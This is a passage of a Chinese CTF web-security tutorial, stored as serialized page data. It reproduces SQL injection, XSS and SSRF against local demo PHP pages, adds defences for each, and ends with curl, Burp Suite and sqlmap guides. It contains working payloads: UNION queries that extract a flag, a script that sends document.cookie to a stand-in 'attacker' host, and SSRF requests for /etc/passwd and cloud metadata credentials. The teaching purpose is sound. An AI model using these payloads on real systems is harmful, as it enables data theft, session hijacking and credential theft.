结束。\n",[50,13044,13045],{"class":52,"line":827},[50,13046,5526],{},[50,13048,13049],{"class":52,"line":833},[50,13050,13051],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[50,13053,13054],{"class":52,"line":839},[50,13055,160],{},[50,13057,13058],{"class":52,"line":845},[50,13059,5535],{},[15,13061,13062],{},"第三步，启动：",[41,13064,13066],{"className":43,"code":13065,"language":45,"meta":46,"style":46},"php -S 127.0.0.1:8000\n",[18,13067,13068],{"__ignoreMap":46},[50,13069,13070,13072,13074],{"class":52,"line":53},[50,13071,5355],{"class":56},[50,13073,5431],{"class":250},[50,13075,5434],{"class":60},[713,13077,13079],{"id":13078},"_32-正常请求","3.2 正常请求",[15,13081,1398],{},[41,13083,13084],{"className":43,"code":5577,"language":45,"meta":46,"style":46},[18,13085,13086],{"__ignoreMap":46},[50,13087,13088,13090,13092,13094],{"class":52,"line":53},[50,13089,5584],{"class":56},[50,13091,652],{"class":651},[50,13093,5589],{"class":60},[50,13095,658],{"class":651},[15,13097,299],{},[41,13099,13101],{"className":13100,"code":5597,"language":305,"meta":46},[303],[18,13102,5597],{"__ignoreMap":46},[713,13104,13106],{"id":13105},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,13108,13109,13111,13112,13114],{},[271,13110,273],{},"：确认 ",[18,13113,5559],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[15,13116,13117,13119,13120,13123,13124,13127],{},[271,13118,279],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[18,13121,13122],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[18,13125,13126],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,13129,13130,13132],{},[271,13131,1870],{},"：逐条发送以下三个请求，对比输出。",[15,13134,13135],{},"输入 1：",[41,13137,13139],{"className":43,"code":13138,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[18,13140,13141,13151,13156,13161],{"__ignoreMap":46},[50,13142,13143,13145,13147,13149],{"class":52,"line":53},[50,13144,5584],{"class":56},[50,13146,652],{"class":651},[50,13148,5622],{"class":60},[50,13150,658],{"class":651},[50,13152,13153],{"class":52,"line":70},[50,13154,13155],{"class":2741},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[50,13157,13158],{"class":52,"line":84},[50,13159,13160],{"class":2741},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[50,13162,13163],{"class":52,"line":145},[50,13164,13165],{"class":2741},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,13167,13168],{},"预期输出：SQL 语法错误，例如：",[41,13170,13172],{"className":13171,"code":5631,"language":305,"meta":46},[303],[18,13173,5631],{"__ignoreMap":46},[15,13175,13176],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,13178,13179],{},"输入 2：",[41,13181,13183],{"className":43,"code":13182,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[18,13184,13185,13195,13200],{"__ignoreMap":46},[50,13186,13187,13189,13191,13193],{"class":52,"line":53},[50,13188,5584],{"class":56},[50,13190,652],{"class":651},[50,13192,5658],{"class":60},[50,13194,658],{"class":651},[50,13196,13197],{"class":52,"line":70},[50,13198,13199],{"class":2741},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[50,13201,13202],{"class":52,"line":84},[50,13203,13204],{"class":2741},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,13206,299,13207,13209],{},[18,13208,5665],{},"（条件为真，正常返回）。",[15,13211,13212],{},"输入 3：",[41,13214,13216],{"className":43,"code":13215,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[18,13217,13218,13228,13233],{"__ignoreMap":46},[50,13219,13220,13222,13224,13226],{"class":52,"line":53},[50,13221,5584],{"class":56},[50,13223,652],{"class":651},[50,13225,5684],{"class":60},[50,13227,658],{"class":651},[50,13229,13230],{"class":52,"line":70},[50,13231,13232],{"class":2741},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[50,13234,13235],{"class":52,"line":84},[50,13236,13237],{"class":2741},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13239,13240],{},"预期输出：空（条件为假，查不到数据）。",[15,13242,13243,13244,13246,13247,5703],{},"三个结果合起来：单引号报错、",[18,13245,5698],{}," 正常、",[18,13248,5702],{},[713,13250,13252],{"id":13251},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13254,13255,13257],{},[271,13256,273],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13259,13260,13262,13263,13265],{},[271,13261,279],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[18,13264,5723],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13267,13268],{},"第一步，确定列数：",[41,13270,13272],{"className":43,"code":13271,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[18,13273,13274,13284,13289],{"__ignoreMap":46},[50,13275,13276,13278,13280,13282],{"class":52,"line":53},[50,13277,5584],{"class":56},[50,13279,652],{"class":651},[50,13281,5750],{"class":60},[50,13283,658],{"class":651},[50,13285,13286],{"class":52,"line":70},[50,13287,13288],{"class":2741},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[50,13290,13291],{"class":52,"line":84},[50,13292,13293],{"class":2741},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13295,13296],{},"第二步，确认哪一列会回显：",[41,13298,13300],{"className":43,"code":13299,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[18,13301,13302,13312,13317,13322],{"__ignoreMap":46},[50,13303,13304,13306,13308,13310],{"class":52,"line":53},[50,13305,5584],{"class":56},[50,13307,652],{"class":651},[50,13309,5814],{"class":60},[50,13311,658],{"class":651},[50,13313,13314],{"class":52,"line":70},[50,13315,13316],{"class":2741},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[50,13318,13319],{"class":52,"line":84},[50,13320,13321],{"class":2741},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[50,13323,13324],{"class":52,"line":145},[50,13325,13326],{"class":2741},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13328,299,13329,13331],{},[18,13330,5821],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13333,13334],{},"第三步，查数据库名：",[41,13336,13338],{"className":43,"code":13337,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[18,13339,13340,13350,13355],{"__ignoreMap":46},[50,13341,13342,13344,13346,13348],{"class":52,"line":53},[50,13343,5584],{"class":56},[50,13345,652],{"class":651},[50,13347,5840],{"class":60},[50,13349,658],{"class":651},[50,13351,13352],{"class":52,"line":70},[50,13353,13354],{"class":2741},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[50,13356,13357],{"class":52,"line":84},[50,13358,13359],{"class":2741},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13361,299,13362,697],{},[18,13363,1267],{},[15,13365,13366],{},"第四步，查表名：",[41,13368,13370],{"className":43,"code":13369,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[18,13371,13372,13382,13387,13392,13397],{"__ignoreMap":46},[50,13373,13374,13376,13378,13380],{"class":52,"line":53},[50,13375,5584],{"class":56},[50,13377,652],{"class":651},[50,13379,5864],{"class":60},[50,13381,658],{"class":651},[50,13383,13384],{"class":52,"line":70},[50,13385,13386],{"class":2741},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[50,13388,13389],{"class":52,"line":84},[50,13390,13391],{"class":2741},"# WHERE table_schema=database()：只筛当前库的表。\n",[50,13393,13394],{"class":52,"line":145},[50,13395,13396],{"class":2741},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[50,13398,13399],{"class":52,"line":151},[50,13400,13401],{"class":2741},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13403,299,13404,697],{},[18,13405,5871],{},[15,13407,13408],{},"第五步，拿 flag：",[41,13410,13412],{"className":43,"code":13411,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[18,13413,13414,13424,13429,13434],{"__ignoreMap":46},[50,13415,13416,13418,13420,13422],{"class":52,"line":53},[50,13417,5584],{"class":56},[50,13419,652],{"class":651},[50,13421,5928],{"class":60},[50,13423,658],{"class":651},[50,13425,13426],{"class":52,"line":70},[50,13427,13428],{"class":2741},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[50,13430,13431],{"class":52,"line":84},[50,13432,13433],{"class":2741},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[50,13435,13436],{"class":52,"line":145},[50,13437,13438],{"class":2741},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13440,299,13441,697],{},[18,13442,5935],{},[15,13444,13445],{},"说明：",[9695,13447,13448,13453,13463],{},[1039,13449,13450,13452],{},[18,13451,5723],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[1039,13454,13455,13458,13459,13462],{},[18,13456,13457],{},"--+","：URL 中解码后是 ",[18,13460,13461],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[1039,13464,13465,13468],{},[18,13466,13467],{},"group_concat","：把多行拼成一行，方便一次性输出。",[713,13470,13472],{"id":13471},"_35-防御参数化查询","3.5 防御：参数化查询",[41,13474,13476],{"className":5353,"code":13475,"language":5355,"meta":46,"style":46},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[18,13477,13478,13482],{"__ignoreMap":46},[50,13479,13480],{"class":52,"line":53},[50,13481,6327],{},[50,13483,13484],{"class":52,"line":70},[50,13485,6332],{},[15,13487,13488,13489,13491,13492,13495],{},"此时输入 ",[18,13490,6371],{}," 只会被当作字符串 ",[18,13493,13494],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13497,13499],{"id":13498},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13501,13502,13504],{},[271,13503,273],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13506,13507,13509,13510,13513,13514,13517,13518,13521],{},[271,13508,279],{},"：页面把 ",[18,13511,13512],{},"name"," 原样输出。如果我们传 ",[18,13515,13516],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[18,13519,13520],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[713,13523,13525],{"id":13524},"_41-平台与代码","4.1 平台与代码",[15,13527,13528,13529,119],{},"任意 Web 应用。示例 ",[18,13530,13531],{},"xss.php",[41,13533,13535],{"className":5353,"code":13534,"language":5355,"meta":46,"style":46},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[18,13536,13537],{"__ignoreMap":46},[50,13538,13539],{"class":52,"line":53},[50,13540,13534],{},[713,13542,13544],{"id":13543},"_42-正常请求","4.2 正常请求",[41,13546,13548],{"className":43,"code":13547,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[18,13549,13550],{"__ignoreMap":46},[50,13551,13552,13554,13556,13559],{"class":52,"line":53},[50,13553,5584],{"class":56},[50,13555,652],{"class":651},[50,13557,13558],{"class":60},"http://127.0.0.1:8000/xss.php?name=alice",[50,13560,658],{"class":651},[15,13562,1538,13563,697],{},[18,13564,13565],{},"你好，alice！",[713,13567,13569],{"id":13568},"_43-注入脚本","4.3 注入脚本",[41,13571,13573],{"className":43,"code":13572,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[18,13574,13575],{"__ignoreMap":46},[50,13576,13577,13579,13581,13584],{"class":52,"line":53},[50,13578,5584],{"class":56},[50,13580,652],{"class":651},[50,13582,13583],{"class":60},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[50,13585,658],{"class":651},[15,13587,1538],{},[41,13589,13591],{"className":6959,"code":13590,"language":6961,"meta":46,"style":46},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[18,13592,13593,13598,13607,13620,13629],{"__ignoreMap":46},[50,13594,13595],{"class":52,"line":53},[50,13596,13597],{"class":96},"你好，\n",[50,13599,13600,13602,13605],{"class":52,"line":70},[50,13601,6968],{"class":96},[50,13603,13604],{"class":644},"script",[50,13606,1322],{"class":96},[50,13608,13609,13612,13615,13617],{"class":52,"line":84},[50,13610,13611],{"class":56},"  alert",[50,13613,13614],{"class":96},"(",[50,13616,6605],{"class":250},[50,13618,13619],{"class":96},")\n",[50,13621,13622,13625,13627],{"class":52,"line":145},[50,13623,13624],{"class":96},"\u003C/",[50,13626,13604],{"class":644},[50,13628,1322],{"class":96},[50,13630,13631],{"class":52,"line":151},[50,13632,13633],{"class":96},"！\n",[15,13635,13636,13637,13639,13640,13642],{},"浏览器会把 ",[18,13638,13520],{}," 当作代码执行。",[18,13641,5584],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[713,13644,13646],{"id":13645},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13648,13649],{},"攻击者构造 URL：",[41,13651,13653],{"className":6959,"code":13652,"language":6961,"meta":46,"style":46},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[18,13654,13655,13660,13668,13689],{"__ignoreMap":46},[50,13656,13657],{"class":52,"line":53},[50,13658,13659],{"class":96},"http://127.0.0.1:8000/xss.php?name=\n",[50,13661,13662,13664,13666],{"class":52,"line":70},[50,13663,6968],{"class":96},[50,13665,13604],{"class":644},[50,13667,1322],{"class":96},[50,13669,13670,13673,13675,13678,13681,13683,13686],{"class":52,"line":84},[50,13671,13672],{"class":56},"  fetch",[50,13674,13614],{"class":96},[50,13676,13677],{"class":651},"'",[50,13679,13680],{"class":60},"http://attacker/?c=",[50,13682,13677],{"class":651},[50,13684,13685],{"class":644}," +",[50,13687,13688],{"class":96}," document.cookie)\n",[50,13690,13691,13693,13695],{"class":52,"line":145},[50,13692,13624],{"class":96},[50,13694,13604],{"class":644},[50,13696,1322],{"class":96},[15,13698,13699,13700,13703],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[18,13701,13702],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[713,13705,13707],{"id":13706},"_45-防御输出编码","4.5 防御：输出编码",[15,13709,13710],{},"输出前把危险字符转义：",[312,13712,13713,13723],{},[315,13714,13715],{},[318,13716,13717,13720],{},[321,13718,13719],{},"原始字符",[321,13721,13722],{},"转义后",[328,13724,13725,13736,13748,13759,13770],{},[318,13726,13727,13731],{},[333,13728,13729],{},[18,13730,6968],{},[333,13732,13733],{},[18,13734,13735],{},"&lt;",[318,13737,13738,13743],{},[333,13739,13740],{},[18,13741,13742],{},">",[333,13744,13745],{},[18,13746,13747],{},"&gt;",[318,13749,13750,13754],{},[333,13751,13752],{},[18,13753,6225],{},[333,13755,13756],{},[18,13757,13758],{},"&quot;",[318,13760,13761,13765],{},[333,13762,13763],{},[18,13764,13677],{},[333,13766,13767],{},[18,13768,13769],{},"&#39;",[318,13771,13772,13777],{},[333,13773,13774],{},[18,13775,13776],{},"&",[333,13778,13779],{},[18,13780,13781],{},"&amp;",[15,13783,13784,13785,13788],{},"PHP 用 ",[18,13786,13787],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13790,13792],{"id":13791},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13794,13795,13797],{},[271,13796,273],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13799,13800,119,13802,13805,13806,13809,13810,13813,13814,13817,13818,13821],{},[271,13801,279],{},[18,13803,13804],{},"file_get_contents($url)"," 会按 ",[18,13807,13808],{},"$url"," 的协议去读内容。协议决定能力：",[18,13811,13812],{},"file://"," 读本地文件，",[18,13815,13816],{},"http://"," 访问内网，",[18,13819,13820],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[713,13823,13825],{"id":13824},"_51-平台与代码","5.1 平台与代码",[15,13827,13828,13829,119],{},"具有\"URL 处理\"功能的应用。示例 ",[18,13830,13831],{},"ssrf.php",[41,13833,13835],{"className":5353,"code":13834,"language":5355,"meta":46,"style":46},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[18,13836,13837,13841,13846,13851,13856,13861],{"__ignoreMap":46},[50,13838,13839],{"class":52,"line":53},[50,13840,5497],{},[50,13842,13843],{"class":52,"line":70},[50,13844,13845],{},"echo file_get_contents($_GET['url']);\n",[50,13847,13848],{"class":52,"line":84},[50,13849,13850],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[50,13852,13853],{"class":52,"line":145},[50,13854,13855],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[50,13857,13858],{"class":52,"line":151},[50,13859,13860],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[50,13862,13863],{"class":52,"line":157},[50,13864,5535],{},[713,13866,13868],{"id":13867},"_52-读本地文件","5.2 读本地文件",[41,13870,13872],{"className":43,"code":13871,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[18,13873,13874,13885,13890,13895],{"__ignoreMap":46},[50,13875,13876,13878,13880,13883],{"class":52,"line":53},[50,13877,5584],{"class":56},[50,13879,652],{"class":651},[50,13881,13882],{"class":60},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[50,13884,658],{"class":651},[50,13886,13887],{"class":52,"line":70},[50,13888,13889],{"class":2741},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[50,13891,13892],{"class":52,"line":84},[50,13893,13894],{"class":2741},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[50,13896,13897],{"class":52,"line":145},[50,13898,13899],{"class":2741},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,13901,299],{},[41,13903,13906],{"className":13904,"code":13905,"language":305,"meta":46},[303],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[18,13907,13905],{"__ignoreMap":46},[713,13909,13911],{"id":13910},"_53-探测内网端口","5.3 探测内网端口",[41,13913,13915],{"className":43,"code":13914,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[18,13916,13917,13928,13933,13938],{"__ignoreMap":46},[50,13918,13919,13921,13923,13926],{"class":52,"line":53},[50,13920,5584],{"class":56},[50,13922,652],{"class":651},[50,13924,13925],{"class":60},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[50,13927,658],{"class":651},[50,13929,13930],{"class":52,"line":70},[50,13931,13932],{"class":2741},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[50,13934,13935],{"class":52,"line":84},[50,13936,13937],{"class":2741},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[50,13939,13940],{"class":52,"line":145},[50,13941,13942],{"class":2741},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,13944,13945],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[713,13947,13949],{"id":13948},"_54-访问云元数据","5.4 访问云元数据",[41,13951,13953],{"className":43,"code":13952,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[18,13954,13955,13966,13971,13976],{"__ignoreMap":46},[50,13956,13957,13959,13961,13964],{"class":52,"line":53},[50,13958,5584],{"class":56},[50,13960,652],{"class":651},[50,13962,13963],{"class":60},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[50,13965,658],{"class":651},[50,13967,13968],{"class":52,"line":70},[50,13969,13970],{"class":2741},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[50,13972,13973],{"class":52,"line":84},[50,13974,13975],{"class":2741},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[50,13977,13978],{"class":52,"line":145},[50,13979,13980],{"class":2741},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,13982,13983],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[713,13985,13987],{"id":13986},"_55-防御","5.5 防御",[41,13989,13991],{"className":5353,"code":13990,"language":5355,"meta":46,"style":46},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[18,13992,13993,13998,14003,14008],{"__ignoreMap":46},[50,13994,13995],{"class":52,"line":53},[50,13996,13997],{},"$allowed = ['https', 'http'];\n",[50,13999,14000],{"class":52,"line":70},[50,14001,14002],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[50,14004,14005],{"class":52,"line":84},[50,14006,14007],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[50,14009,14010],{"class":52,"line":145},[50,14011,14012],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,14014,14016],{"id":14015},"六必学工具-1curl","六、必学工具 1：curl",[15,14018,14019],{},"三个核心功能，逐个演示。",[15,14021,14022],{},"功能 1：带参数 GET。",[41,14024,14025],{"className":43,"code":5577,"language":45,"meta":46,"style":46},[18,14026,14027],{"__ignoreMap":46},[50,14028,14029,14031,14033,14035],{"class":52,"line":53},[50,14030,5584],{"class":56},[50,14032,652],{"class":651},[50,14034,5589],{"class":60},[50,14036,658],{"class":651},[15,14038,1538,14039,697],{},[18,14040,5665],{},[15,14042,14043,14044,1177],{},"功能 2：查看完整请求与响应（",[18,14045,12725],{},[41,14047,14049],{"className":43,"code":14048,"language":45,"meta":46,"style":46},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[18,14050,14051,14063,14068,14073],{"__ignoreMap":46},[50,14052,14053,14055,14057,14059,14061],{"class":52,"line":53},[50,14054,5584],{"class":56},[50,14056,12713],{"class":250},[50,14058,652],{"class":651},[50,14060,5589],{"class":60},[50,14062,658],{"class":651},[50,14064,14065],{"class":52,"line":70},[50,14066,14067],{"class":2741},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[50,14069,14070],{"class":52,"line":84},[50,14071,14072],{"class":2741},"# \u003C 开头是响应行与响应头，最后是正文。\n",[50,14074,14075],{"class":52,"line":145},[50,14076,14077],{"class":2741},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,14079,14080,14081,14083,14084,14086],{},"输出中 ",[18,14082,13742],{}," 开头的是请求，",[18,14085,6968],{}," 开头的是响应，最下面是正文。",[15,14088,14089,14090,1177],{},"功能 3：POST 数据（",[18,14091,14092],{},"-d",[41,14094,14096],{"className":43,"code":14095,"language":45,"meta":46,"style":46},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[18,14097,14098],{"__ignoreMap":46},[50,14099,14100,14102,14105,14108,14110,14113,14115,14117,14119,14122],{"class":52,"line":53},[50,14101,5584],{"class":56},[50,14103,14104],{"class":250}," -X",[50,14106,14107],{"class":60}," POST",[50,14109,652],{"class":651},[50,14111,14112],{"class":60},"http://127.0.0.1:8000/login.php",[50,14114,6225],{"class":651},[50,14116,1607],{"class":250},[50,14118,652],{"class":651},[50,14120,14121],{"class":60},"username=admin&password=123",[50,14123,658],{"class":651},[15,14125,14126],{},"用于登录、上传等需要 POST 的场景。",[10,14128,14130],{"id":14129},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,14132,14133],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[312,14135,14136,14149],{},[315,14137,14138],{},[318,14139,14140,14143,14146],{},[321,14141,14142],{},"模块",[321,14144,14145],{},"用途",[321,14147,14148],{},"操作步骤",[328,14150,14151,14166,14177],{},[318,14152,14153,14156,14159],{},[333,14154,14155],{},"Proxy",[333,14157,14158],{},"拦截请求",[333,14160,14161,14162,14165],{},"浏览器设置代理 ",[18,14163,14164],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[318,14167,14168,14171,14174],{},[333,14169,14170],{},"Repeater",[333,14172,14173],{},"手工重放",[333,14175,14176],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[318,14178,14179,14182,14185],{},[333,14180,14181],{},"Intruder",[333,14183,14184],{},"自动化遍历",[333,14186,14187],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,14189,14190],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,14192,14194],{"id":14193},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,14196,14197],{},"SQL 注入自动化工具。三个核心命令：",[15,14199,14200],{},"命令 1：检测。",[41,14202,14203],{"className":43,"code":6208,"language":45,"meta":46,"style":46},[18,14204,14205],{"__ignoreMap":46},[50,14206,14207,14209,14211,14213,14215,14217],{"class":52,"line":53},[50,14208,6215],{"class":56},[50,14210,6218],{"class":250},[50,14212,652],{"class":651},[50,14214,5589],{"class":60},[50,14216,6225],{"class":651},[50,14218,6228],{"class":250},[15,14220,1658],{},[41,14222,14224],{"className":14223,"code":6234,"language":305,"meta":46},[303],[18,14225,6234],{"__ignoreMap":46},[15,14227,14228],{},"命令 